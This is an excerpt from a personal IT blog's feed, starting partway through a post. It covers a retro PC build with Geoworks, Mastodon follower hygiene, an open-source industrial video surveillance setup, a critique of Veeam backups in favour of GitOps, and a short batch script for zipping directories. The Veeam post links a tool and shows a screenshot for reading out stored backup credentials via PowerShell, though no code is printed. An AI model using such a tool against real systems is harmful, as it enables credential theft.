&lt;p>Now I&amp;rsquo;m thinking about moving VGA and the small picoMem into the internal housing, which would require a small 2-way ISA riser card with flexible cable routing. The long winter is still ahead of me.&lt;/p>
&lt;p>In the meantime, I have been able to fulfil my long-cherished wish. The installation of my beloved Geoworks Ensemble&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup> in version 2.0, which was the superior graphical user interface for IBM-compatible PCs at that time and which attracted the interest of both Apple and Microsoft, who wanted to buy it up. Largely programmed in assembler, it was able to magically create a graphical Motif UI even on the less powerful XTs. In combination with high-resolution 720×348 Hercules graphics&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup> and a complete office suite consisting of Geowrite, Geodraw and Geocalc, it set standards at the time. It still lives on today as an open-source graphical add-on for retro computers.&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;video src="https://blog.jakobs.systems/vid/20241210-geoworks-europc.mp4" controls poster="https://blog.jakobs.systems/img/20241210-geoworks-preview.webp#c">&lt;a href="https://blog.jakobs.systems/vid/20241210-geoworks-europc.mp4" target="_blank">Download Video...&lt;/a>&lt;/video>&lt;small>Video im AV1-Format. Wenn Sie es nicht sehen, nutzen Sie einen Browser/App (noch) ohne AV1-Unterstützung.&lt;/small>
&lt;/p>
&lt;p>I was never able to install it on the Euro-PC because of the 512 KB RAM and the lack of money for a 20 MB hard drive. It wasn&amp;rsquo;t until a few years later in the early 1990s that I was able to do so on a Vobis Highscreen 386DX with 25 Mhz.&lt;/p>
&lt;p>With this in mind,&lt;br>
Your Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://texelec.com/product/picomem/">https://texelec.com/product/picomem/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Industry_Standard_Architecture">https://en.wikipedia.org/wiki/Industry_Standard_Architecture&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20240506-schneider-euro-pc-hdd/">https://blog.jakobs.systems/micro/20240506-schneider-euro-pc-hdd/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://c3bbs.retronetworking.org/">https://c3bbs.retronetworking.org/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://raspberrypi.com/documentation/microcontrollers/pico-series.html">https://raspberrypi.com/documentation/microcontrollers/pico-series.html&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://dosbox.com/">https://dosbox.com/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Conventional_memory">https://en.wikipedia.org/wiki/Conventional_memory&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Extended_memory">https://en.wikipedia.org/wiki/Extended_memory&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Expanded_memory">https://en.wikipedia.org/wiki/Expanded_memory&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/NE1000">https://en.wikipedia.org/wiki/NE1000&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://brutman.com/mTCP/">https://brutman.com/mTCP/&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Chimera_(virus)">https://en.wikipedia.org/wiki/Chimera_(virus)&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://github.com/FreddyVRetro/ISA-PicoMEM">https://github.com/FreddyVRetro/ISA-PicoMEM&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://freedos.org/">https://freedos.org/&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://github.com/FreddyVRetro/ISA-PicoMEM/issues/69">https://github.com/FreddyVRetro/ISA-PicoMEM/issues/69&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://xtideuniversalbios.org/">https://xtideuniversalbios.org/&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://lo-tech.co.uk/product/1mb-ram-board-pcb/">https://lo-tech.co.uk/product/1mb-ram-board-pcb/&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/GEOS_(16-bit_operating_system)">https://en.wikipedia.org/wiki/GEOS_(16-bit_operating_system)&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Hercules_Graphics_Card">https://en.wikipedia.org/wiki/Hercules_Graphics_Card&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://github.com/bluewaysw/pcgeos">https://github.com/bluewaysw/pcgeos&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Mastodon Sanitation</title><link>https://blog.jakobs.systems/en/micro/20241121-mastodon-sanitation/</link><pubDate>Thu, 21 Nov 2024 17:10:43 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20241121-mastodon-sanitation/</guid><description>Everyone should practice digital hygiene in my opinion, many problems can be solved with ease.</description><category>Mastodon</category><category>Anonymity</category><category>Anti-Pattern</category><category>Awareness</category><content>&lt;p>It feels like I&amp;rsquo;ve been getting more and more follower requests lately that I just have to turn down. Sometimes there are empty profiles, sometimes newly created ones, sometimes profiles with content, comments and followers, where I ask myself: Do you really want to stand in a context with these people?&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20241121-mastodon-follower-hygiene.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20241121-mastodon-follower-hygiene.webp#c" alt="Answer to a follower request that I rejected" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Just a few minutes ago, another friendly but firm rejection.&lt;/p>
&lt;p>Digital sanitation, so important in today&amp;rsquo;s world.&lt;/p>
&lt;p>Stay safe,&lt;br>
Tomas Jakobs&lt;/p></content></item><item><title>Open source in the industry</title><link>https://blog.jakobs.systems/en/micro/20241023-obs-video/</link><pubDate>Wed, 23 Oct 2024 08:00:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20241023-obs-video/</guid><description>Presentation of a nice industrial project that was solved with open source software on GNU/Linux</description><category>Industrial</category><category>Opensource</category><category>OBS</category><category>Streaming</category><category>Linux</category><content>&lt;p>A nice open source project from the industry. The new plant of a medium-sized company needed to be equipped with video surveillance and recording. Usually engineers use ready-to-use CCTV&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> systems bought in DIY stores, consisting of a network-attached storage and a streaming server.&lt;/p>
&lt;p>Nowadays, not that cheap Chinese blackboxes, usually tied together with Apps, Cloud and Online functionality without any chance of customization. Better keep away from this especially when information security, valueable corporate assets and the lives of people are at stake.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20241023-obs-video.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20241023-obs-video.webp#c" alt="Control station with video surveillance in an industrial plant" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>For a bunch of cams, I have installed some Industrial PCs with GNU/Linux and OBS-Studio&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>. The streams are taken directly via RTSP&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> and displayed on several control screens with a previously unknown degree of customization. For QC everything is recorded in the background.&lt;/p>
&lt;p>The system runs on a hardened Debian&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> with Gnome. Some automation is done with xdotool&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> in bash. The entire system is centrally managed by Ansible and monitored using Zabbix. Updates and upgrades are ensured for the next years, if not for decades at least.&lt;/p>
&lt;p>In the end, the involvement with video technology during Corona - some called it &amp;ldquo;playing around&amp;rdquo; - as well as the live events&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> on the self-built open source streaming platform&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> with Owncast&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> finally paid off ;-)&lt;/p>
&lt;p>Have a nice day,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Video%C3%BCberwachung">https://de.wikipedia.org/wiki/Video%C3%BCberwachung&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://obsproject.com/">https://obsproject.com/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Real-Time_Streaming_Protocol">https://en.wikipedia.org/wiki/Real-Time_Streaming_Protocol&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://www.debian.org/">https://www.debian.org/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://www.semicomplete.com/projects/xdotool/">https://www.semicomplete.com/projects/xdotool/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://blog.jakobs.systems/tags/event/">https://blog.jakobs.systems/tags/event/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://blog.jakobs.systems/live/">https://blog.jakobs.systems/live/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://owncast.online/">https://owncast.online/&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Enterprise-Backup Solution</title><link>https://blog.jakobs.systems/en/blog/20240908-gitops-veeam-replacement/</link><pubDate>Sun, 08 Sep 2024 13:30:26 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20240908-gitops-veeam-replacement/</guid><description>Why Veeam is unsuitable for most people and the wrong working methods lead to catastrophic disasters in Enterprises.</description><category>Concepts</category><category>HyperV</category><category>Backup</category><category>Git</category><category>Forgejo</category><content>&lt;p>Why is the ransomware business model so successful? How do criminals manage to steal data, encrypt it and often also destroy data backups? According to a representative survey conducted by BITKOM over the past 12 months, 60% of companies in Germany have been affected&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>A brief excursion into this topic, my work and how I was able to help a company save EUR 17,000. As always, no claim to universality and completeness. Your mileage may vary.&lt;/p>
&lt;h2 id="broken-data-backup-concepts">Broken data backup concepts&lt;/h2>
&lt;p>The answer lies in the data backup concepts. Embedded in the ISMS and linked to emergency and continuity plans. From the BITKOM survey mentioned at the beginning, it can be seen that for 60% of those affected, these are precisely total failures:&lt;/p>
&lt;blockquote>
&lt;p>Four out of ten (40 percent) of the affected companies were able to recover their data themselves, while 10 percent were able to get it back from the perpetrators without paying a ransom.&lt;/p>
&lt;/blockquote>
&lt;p>Without delving into the depths of the various certification standards, a concept always answers the following questions:&lt;/p>
&lt;ul>
&lt;li>What RPO (Recovery Point Objective) and RTO (Recovery Time Objective)&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> are defined?&lt;/li>
&lt;li>Can these be achieved with the existing technology and personnel in the event of a total failure?&lt;/li>
&lt;li>Are there separate offline or offsite backups from regular operations?&lt;/li>
&lt;li>Are dependencies and sequences taken into account?&lt;/li>
&lt;li>Is a methodical review carried out on a regular basis?&lt;/li>
&lt;li>Are changes transparent and traceable?&lt;/li>
&lt;/ul>
&lt;h2 id="poor-backup-software">Poor Backup Software&lt;/h2>
&lt;p>At the latest with the last two questions, it becomes clear that there is no standard software that can provide answers.&lt;/p>
&lt;p>On the one hand, software is being increasingly automated with CI/CD&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> pipelines, deploy and rollout workflows on the systems. However, when it comes to backups and recovery, experience shows that administrators have to wade through more or less miserable dialogues manually.&lt;/p>
&lt;p>Dependencies and workflows are determined solely by the administrator&amp;rsquo;s ‘logic’. What do I mean by that? It would be stupid, for example, if all DNS servers were backed up simultaneously offline and therefore became unavailable. It&amp;rsquo;s even more stupid if two months later another admin asks why the second DNS is missing and thinks he can quickly push it into the backup job.&lt;/p>
&lt;p>Very few people use APIs and scripting integrations, if offered by backup software at all. How can a check be carried out methodically and regularly without automation? And don&amp;rsquo;t even get me started on scaling.&lt;/p>
&lt;p>It is worth noting that backup jobs themselves have no audit or change logs. Which administrator did what, when and where is left completely unknown by Veeam &amp;amp; Co. So how does a responsible non-admin know whether a particular VM is still part of a backup or has been swapped for something else in the meantime?&lt;/p>
&lt;p>For instance, a company I personally know did not back up the VM of the critical ERP system for almost a year, but instead the development system of the external service provider. The mix-up was caused by an admin during a ‘clean-up’ and nobody noticed. It was only when the development VM was finally removed that everyone wondered why the daily status emails were no longer green.&lt;/p>
&lt;p>Backup software is increasingly becoming a problem itself. Proprietary black boxes with unknown modes of operation are set up in central locations and can affect critical areas across intentionally created segments and separations.&lt;/p>
&lt;p>At the same time, this single point of failure&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> collects credentials that can be easily read out using powershell scripts.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> Increasing online constraints and non-transparent data outflows in the form of telemetry are additional challenges.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20240908-gitops-veeamcreds.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20240908-gitops-veeamcreds.webp#c" alt="Read all Veeam-Credentials via Powershell" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="challenges-not-understood">Challenges not understood&lt;/h2>
&lt;p>Administrators often work with methods from the 80s and ignore the progress of the past decades. Even though the number of servers is increasing, I still see manual logins on servers. Regardless of ideological discussions about ‘Linux or Windows’, ‘console or GUI’, this is utterly wrong!&lt;/p>
&lt;p>Scaling does not mean hiring more staff, but rather automating more and, above all, better. Kristian Köhntopp showed 9 years ago in his presentation ‘Go Away Or I Will Replace You With A Very Little Shell Script’ how unproductive and dangerous manual ‘climbing onto’ servers is:&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>If you have to climb onto a computer to check something, the monitoring is obviously broken. If you have to climb onto a computer to change something, the automation is obviously broken and hopefully not just one box is broken, but all the others too, and hopefully in the same way.&lt;/p>
&lt;/blockquote>
&lt;p>Wherever availability has to be guaranteed because companies and people&amp;rsquo;s livelihoods depend on it economically, automation is a mandatory requirement.&lt;/p>
&lt;p>We use ‘Veeam’, I often hear. Fine, but unfortunately they don&amp;rsquo;t understand the problem. I fear that the business models with the multiple ways of charging are not even noticed: expensive licence subscriptions for proprietary software on the one hand, ransoms on the other. But the support at Veeam is so good. Which support? No call centre agent or non-admin at the other end of a phone line, chat or email will help you if everything is down and the backups are gone. This is an extreme case of Stockholm syndrome.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="gitops-solution">GitOps Solution&lt;/h2>
&lt;p>Originating from DevOps,&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> the term GitOps refers to the operation of an infrastructure with the help of Git&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> version control. The ‘single source of truth’&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> for infrastructure operations, server setup, adaptation of software packages and automated processes with your scripts is transparent and traceable.&lt;/p>
&lt;p>Last year, a medium-sized company was faced with the question of whether it was still willing to spend large sums of money on a small HyperV cluster consisting of two nodes. The price tag was EUR 17,000.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20240908-gitops-veeam-costs.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20240908-gitops-veeam-costs.webp#c" alt="Screenshot Veeam cost calculation" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>No proprietary software is required for complete, daily backups of VMs, supplemented by midweek and weekly swaps to other storages and external USB media.&lt;/p>
&lt;p>At a fraction of the cost, all backups are now controlled by a Forgejo server that is only accessible internally.&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> Each node in the cluster automatically pulls the repo with its backup scripts and executes them.&lt;/p>
&lt;p>A positive psychological side effect for every managing director: it&amp;rsquo;s good to have the whole company in your hands and to be able to restart everything on a random computer at any time.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20240908-gitops-hyperv-sicherung.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20240908-gitops-hyperv-sicherung.webp#c" alt="Screenshot 2 Nodes and Git repo" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Since then, more repositories have been added. From the ‘digital twins’ presented here for testing Windows updates&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> to the creation of semi-daily database dumps of all specialised applications. From Bash, PowerShell, batch files and Ansible scripts to small tools and AutoIt programmes, everything can be found here - your mileage may vary.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Most data backup concepts do not withstand reality checks. Administrators are getting lost in the wilderness. The lack of automation drives up IT costs, creates errors and technical debt.&lt;/p>
&lt;p>Standardised GitOps workflows are the solution. The technology is free, the concept neither complicated nor difficult to implement.&lt;/p>
&lt;p>It should be mentioned that GitOps for data backups only works if some preliminary homework has been done. This includes not migrated Exchange black boxes, missing mail gateways, missing mail archive programmes, non-isolated network segments and, unfortunately, often a lack of separation of hypervisors and the AD that is to be safeguarded. This is where Microsoft&amp;rsquo;s misconception of a HyperV cluster having to be a member of a domain becomes very apparent. The combination of this and convenience leads to the ultimate cluster fuck when the last DC is ravaged by ransomware and the whole cluster no longer boots up.&lt;/p>
&lt;p>However, the most important prerequisite for GitOps is the right mind-set, the culture. Administrators must be able to look at problems systematically and solve them programmatically, free of any ideologies.&lt;/p>
&lt;p>With this in mind,&lt;br>
Your Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://bitkom-research.de/news/mehr-als-die-haelfte-der-unternehmen-werden-opfer-von-ransomware-attacken">https://bitkom-research.de/news/mehr-als-die-haelfte-der-unternehmen-werden-opfer-von-ransomware-attacken&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Disaster_Recovery">https://de.wikipedia.org/wiki/Disaster_Recovery&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/CI/CD">https://en.wikipedia.org/wiki/CI/CD&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Single_point_of_failure">https://en.wikipedia.org/wiki/Single_point_of_failure&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://github.com/sadshade/veeam-creds">https://github.com/sadshade/veeam-creds&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://media.ccc.de/v/froscon2015-1500-">https://media.ccc.de/v/froscon2015-1500-&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Stockholm_syndrome">https://en.wikipedia.org/wiki/Stockholm_syndrome&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/DevOps">https://en.wikipedia.org/wiki/DevOps&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://git-scm.com/">https://git-scm.com/&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Single_source_of_truth">https://en.wikipedia.org/wiki/Single_source_of_truth&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://forgejo.org/">https://forgejo.org/&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20240814-digitale-zwillinge/">https://blog.jakobs.systems/micro/20240814-digitale-zwillinge/&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Pain Management</title><link>https://blog.jakobs.systems/en/micro/20230414-batch-loops/</link><pubDate>Fri, 14 Apr 2023 13:53:47 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20230414-batch-loops/</guid><description>Ein Snippet für Batchskripte in Schleifen. Hier ein Skript, das Verzeinisse zippt und in ein anderes Verzeichnis kopiertA snippet for batch scripts in loops. Here is a script that zips files and copies them to another directory</description><category>Windows</category><category>Automation</category><category>PowerShell</category><content>&lt;p>Today, shortly before weekend, I felt that pain again when seeing a PowerShell script. Somebody has literally raped the System.IO.DirectoryInfo across several pages and eternalised himself beyond anything related to aesthetics, technology or rationality. The aim of the script was to zip all the subdirectories of given folder one by one and push them to another drive with an ISO 8601-compliant timestamp prefix.&lt;/p>
&lt;p>To ease the pain, here&amp;rsquo;s my decades-old snippet. Literally just in three lines. For better customisation, only the variables are separated:&lt;/p>
&lt;pre tabindex="0">&lt;code>@echo off
set TheLogFile=&amp;#34;d:\output.log&amp;#34;
set ZipExecutable=&amp;#34;c:\Program Files\7-Zip\7z.exe&amp;#34;
set WatchPath=d:\daily
set TargetPath=z:
for /F &amp;#34;usebackq tokens=1,2 delims==&amp;#34; %%i in (`wmic os get LocalDateTime /VALUE 2^&amp;gt;NUL`) do if &amp;#39;.%%i.&amp;#39;==&amp;#39;.LocalDateTime.&amp;#39; set ldt=%%j
set ldt=%ldt:~0,4%%ldt:~4,2%%ldt:~6,2%
FOR /D %%I in (&amp;#34;%WatchPath%\*.*&amp;#34;) do ( if EXIST &amp;#34;%WatchPath%\%%~nI&amp;#34; (%ZipExecutable% a -ssp -mx9 -mmt10 &amp;#34;%TargetPath%\%ldt%-%%~nI.7z&amp;#34; &amp;#34;%WatchPath%\%%~nI&amp;#34; -y &amp;gt;&amp;gt; %TheLogFile%) )
&lt;/code>&lt;/pre>&lt;p>Have a nice weekend!&lt;br>
